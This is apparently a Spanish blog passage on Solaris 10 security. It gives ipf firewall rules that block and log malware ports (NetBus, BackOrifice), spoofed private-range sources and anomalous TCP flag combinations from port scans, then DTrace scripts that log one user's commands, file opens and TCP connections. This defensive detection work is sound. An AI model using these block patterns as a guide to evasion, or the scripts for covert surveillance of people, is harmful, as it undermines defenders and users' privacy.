daytime, chargen, gopher, finger, pop2, biff, r-* o uucp, por citar sólo unos cuantos. En el caso de puertos utilizados por malware, algunos muy conocidos son 12345 (NetBus) o 31337 (BackOrifice), y de la misma forma podemos bloquearlos y registrar su uso con cualquier cortafuegos (ejemplo para ipf, Solaris 10):


block in log quick on hme0 from any to any port = 31337
block in log quick on hme0 from any to any port = 12345
block in log quick on hme0 from any to any port = 70
block in log quick on hme0 from any to any port = 79
block in log quick on hme0 from any to any port = 540
...

Más cosas a considerar; en el RFC 3330 se definen unos rangos de direcciones IP “especiales” -no asignadas, privadas, bucle local…-, direcciones que no deben encontrarse en determinadas patas de nuestro cortafuegos; así, por ejemplo, en la pata de conexión con Internet nunca deberemos ver tráfico -salvo configuraciones excepcionales- que provenga de estas direcciones, y si lo vemos, al menos deberemos prestarle atención:


block in log quick on hme0 from 192.168.0.0/16 to any
block in log quick on hme0 from 0.0.0.0/8 to any
block in log quick on hme0 from 172.16.0.0/12 to any
block in log quick on hme0 from 198.18.0.0/15 to any
...

Seguimos: violaciones de protocolo o uso de protocolos fuera de lo habitual. Por definición de los protocolos TCP e IP, existen ciertas combinaciones de bits que no pueden encontrarse, en situación normal, en las cabeceras de los paquetes; así, no es correcto que un paquete TCP tenga activos los bits FIN y SYN de forma simultánea, ya que eso violaría el protocolo (estaríamos solicitando un inicio de conexión y a la vez un cierre, algo no coherente), ni tampoco está aceptado que una trama IP tenga activos al mismo tiempo los bits DF (Don’t Fragment) y MF (More Fragments). Si vemos tráfico con estas violaciones, se trata de una anomalía -lo de antes, por no llamarle ataque directamente- que nos interesa conocer, ya que los ataques de fragmentación IP o los barridos de puertos en base a violaciones del protocolo TCP son el pan nuestro de cada día (una herramienta como nmap implementa diferentes técnicas de este tipo). Adicionalmente, podemos encontrarnos tramas válidas según protocolo pero no habituales, y que por lo tanto puede ser necesario registrar. Algunas reglas más para ipf (podemos encontrar auténticos recopilatorios en Internet, y escoger las que más nos interesen):


block in log proto tcp all with short
block in log quick on hme0 all with opt lsrr
block in log quick on hme0 all with opt ssrr
block in log quick on hme0 proto tcp all flags FUP
block in log quick on hme0 proto tcp all flags FUP/FUP
block in log quick on hme0 proto tcp all flags /FSRPAU
block in log quick on hme0 proto tcp all flags FSRPAU
block in log quick on hme0 proto tcp all flags SF/SFRA
block in log quick on hme0 proto tcp all flags /SFRA
block in log quick on hme0 proto tcp all flags F/SFRA
block in log quick on hme0 proto tcp all flags U/SFRAU
block in log quick on hme0 proto tcp all flags P
block in log quick on hme0 proto tcp all flags FUP/WEUAPRSF
block in log quick on hme0 proto tcp all flags WEUAPRSF/WEUAPRSF
block in log quick on hme0 proto tcp all flags SRAFU/WEUAPRSF
block in log quick on hme0 proto tcp all flags /WEUAPRSF
block in log quick on hme0 proto tcp all flags SR/SR
block in log quick on hme0 proto tcp all flags SF/SF
block in log quick on hme0 proto tcp all flags /S

Con estas líneas y algunas más tenemos de forma sencilla un mini sistema de detección de intrusos implantado en nuestro firewall ipf (en todos los cortafuegos habituales podemos hacer cosas parecidas), sistema que obviamente puede ser mejorado por todas partes pero que, de momento, será capaz de alertarnos ante tráficos sospechosos; las líneas anteriores, aparte de bloquear el tráfico, generarán un log en tiempo real (man ipmon), log que puede ser tratado con cualquier script para integrarlo en nuestro esquema de detección de intrusos global, que más allá del NIDS habitual debería recoger y procesar los registros todos los sistemas de detección que tengamos implantados, tanto a nivel de host como a nivel de red, para proporcionar información correlada en base a todos los datos de los diferentes IDS. Esto, por supuesto, sin entrar en técnicas que ya se alejan de lo que sería un NIDS en el cortafuegos, como utilizar return-rst en nuestro ipf para “contaminar” los resultados del atacante (útil frente a barridos de puertos) o ejecutar ciertas órdenes del sistema ante tráficos anómalos detectados, que ya es material para otro post :)

Monitorizando usuarios en Solaris

Como llevo algunas noches de insomnio me ha dado por refrescar, tras algunos años olvidados en un cajón, aspectos de monitorización de usuarios en Solaris (Solaris 10, para ser exactos); y la verdad es que de lo que conocía -dejé de administrar máquinas Solaris “en serio” en su versión 7- a lo que me he encontrado en las nuevas versiones del operativo, hay alguna que otra diferencia que sorprende gratamente, y es que a pesar de que ahora sea un producto de Oracle, Solaris sigue siendo Solaris :)

Como siempre, para generar trazas “en serio” de la actividad de los usuarios podemos utilizar el Basic Security Module, habilitado mediante bsmconv(1M) y que nos dirá hasta qué usuario pestañea demasiado delante de la consola :) ¿Problemas? Alguno que otro… para empezar, requerimos reiniciar el sistema, cosa que ya de por sí a nadie le gusta mucho… y para continuar, tenemos el problema histórico del volumen de datos que generamos: por muy bien que configuremos el módulo de auditoría, incluso si lo hacemos por usuario, la cantidad de registros que se almacenan en la máquina no deja de ser considerable… y lo peor de todo: la marcha atrás tras habilitar BSM en nuestro sistema implica de nuevo detener servicios (la orden bsmunconv hay que lanzarla en runlevel 1).

Aunque BSM es la solución correcta y definitiva si necesitamos un registro de auditoría al detalle, me ha sorprendido en Solaris 10 DTrace, un framework que permite monitorizar en tiempo real y sin parada de sistema determinados aspectos tanto del núcleo como del espacio de usuario; este framework incorpora un lenguaje de programación propio (“D”), que nos permite registrar, de forma sencilla, actividad en el sistema de cara a detectar problemas, a “tunear”, o simplemente a monitorizar determinada actividad en la máquina (accesos a un fichero, cambios en inodos, etc.). Por supuesto, para esto último no es tan completo como BSM -que insisto, es la solución correcta-, pero nos puede servir para sacarnos de más de un apuro en cuanto a conocer qué hacen nuestros usuarios.

Un ejemplo de monitorización sencilla: ¿qué órdenes ejecuta un determinado usuario? Mediante dtrace(1M), es trivial obtener esta información: ponemos “vigilantes”, generadores de información, en las llamadas al sistema exec() y familia, y la condición de que el UID del usuario que usa estas llamadas – que pasaremos como argumento al programa- sea uno en concreto; si esto se cumple, imprimimos la información que nos interesa:

# cat t.d
syscall::exec:return, syscall::exece:return
/ uid==$1 /
{
printf("%s %-20Y %S\n", probefunc, walltimestamp, curpsinfo->pr_psargs);
}
# dtrace -s prueba.d 100
dtrace: script 'prueba.d' matched 2 probes
CPU ID FUNCTION:NAME
0 108 exece:return exece 2010 Jun 9 18:54:17 ls
0 108 exece:return exece 2010 Jun 9 18:54:28 more prueba.d
#

Seguro que el código se puede mejorar, ya lo sé :) Más cosas que nos pueden interesar de la actividad de un usuario: archivos abiertos, conexiones de red…todo esto es bastante sencillo obtenerlo mediante dtrace(1M), sus probes y las condiciones adecuadas; podemos poner todo junto, y en bonito (para que nos muestre la información más legible, básicamente) en un script que invocaremos desde línea de órdenes:

# cat luser.d
#pragma D option quiet
/*
* Ejecucion de ordenes
*/
syscall::exec:return, syscall::exece:return
/ uid==$1 /
{
printf("%s %-20Y %S\n", probefunc, walltimestamp, curpsinfo->pr_psargs);
}
/*
* Acceso a FS
*/
syscall::open:entry, syscall::creat:entry,
syscall::open64:entry, syscall::creat64:entry,
syscall::unlink:entry, syscall::rename:entry
/ uid==$1 && strstr(stringof(copyinstr(arg0)), "/proc") == NULL /
/* Nos quitamos de la condicion el acceso a procfs */
{
printf("%s %Y %s\n", probefunc, walltimestamp, stringof(copyinstr(arg0)));
}
/*
* Acceso a red / TCP
*/
::tcp_send_data:entry
{
self->lport=((unsigned int) args[0]->tcp_tcph->th_lport[0] < <8) + (unsigned int) args[0]->tcp_tcph->th_lport[1];
dig1=(unsigned int) args[0]->tcp_tcph->th_fport[0];
dig2=(unsigned int) args[0]->tcp_tcph->th_fport[1];
dig1=dig1< <8; self->rport=((unsigned int) args[0]->tcp_tcph->th_fport[0] < <8) + (unsigned int) args[0]->tcp_tcph->th_fport[1];
srcaddr=(unsigned int) (args[0]->tcp_ipha->ipha_src);
dstaddr=(unsigned int) (args[0]->tcp_ipha->ipha_dst);
self->octect[0]=srcaddr>>3*8 & 0xFF;
self->octect[1]=srcaddr>>2*8 & 0xFF;
self->octect[2]=srcaddr>>1*8 & 0xFF;
self->octect[3]=srcaddr>>0*8 & 0xFF;
self->octect[4]=dstaddr>>3*8 & 0xFF;
self->octect[5]=dstaddr>>2*8 & 0xFF;
self->octect[6]=dstaddr>>1*8 & 0xFF;
self->octect[7]=dstaddr>>0*8 & 0xFF;
self->ok=1;
}
::tcp_send_data:entry
/ self->ok && uid==$1 /
{
printf("%s %Y %d.%d.%d.%d:%d -> %d.%d.%d.%d:%d\n", probefunc,walltimestamp,self->octect[0],self->octect[1],self->octect[2],self->octect[3], self->lport,self->octect[4],self->octect[5],self->octect[6],self->octect[7],self->rport);
self->ok=0;
}
#

Al invocarlo mediante dtrace(1M), la salida que obtendremos será similar a la siguiente -con muchos más datos que habrá que filtrar, no estoy ahora para pulir el código que, insisto, es un simple ejemplo y tendrá N fallos y mejoras-):

tcp_send_data 2010 Jun 9 19:00:37 192.168.1.2:22 -> 192.168.1.5:37963
tcp_send_data 2010 Jun 9 19:00:38 192.168.1.2:22 -> 192.168.1.5:37964
tcp_send_data 2010 Jun 9 19:00:38 192.168.1.2:22 -> 192.168.1.5:37963
exece 2010 Jun 9 19:00:38 cat /home/toni/fbsd-como\0
open 2010 Jun 9 19:00:38 /var/ld/ld.config
open 2010 Jun 9 19:00:38 /lib/libc.so.1
open 2010 Jun 9 19:00:38 /platform/SUNW,Ultra-5_10/lib/libc_psr.so.1

Así, mediante dtrace(1M), y de una forma muy sencilla, estamos en disposición de monitorizar muchísimas acciones -en este caso de un usuario concreto- que pueden servirnos para incrementar considerablemente la seguridad de nuestros sistemas Solaris desde el punto de vista de monitorización de la actividad (aparte de para resolver algún problema en las máquinas). Por supuesto, con un ratito de búsqueda en Google tendremos acceso a un montón de ejemplos de programas en D que podemos adaptar y aprovechar para crear un luser.d en condiciones :)

En definitiva, dtrace(1M) es una herramienta que no conocía más que de oídas y que, a poco que he empezado a tocarla, me ha sorprendido muy gratamente (tanto por su capacidad como por su sencillez) para la monitorización de ciertas actividades concretas del sistema o de nuestros usuarios, sin necesidad de meternos en el “gran” BSM… además, puede ser muy útil en aquellos casos en los que BSM no esté habilitado de antemano, por ejemplo si nos enfrentamos a un análisis forense de una Solaris comprometida… en fin, que seguiremos informando :) Por cierto, ¿alguien se anima a explicarnos algo similar en Linux, Windows, AIX, etc.? Sé que Dtrace se ha migrado -o se está migrando- a BSD, pero no sé si tenemos algo de capacidades similares en otros entornos (es que ya no soy técnico :)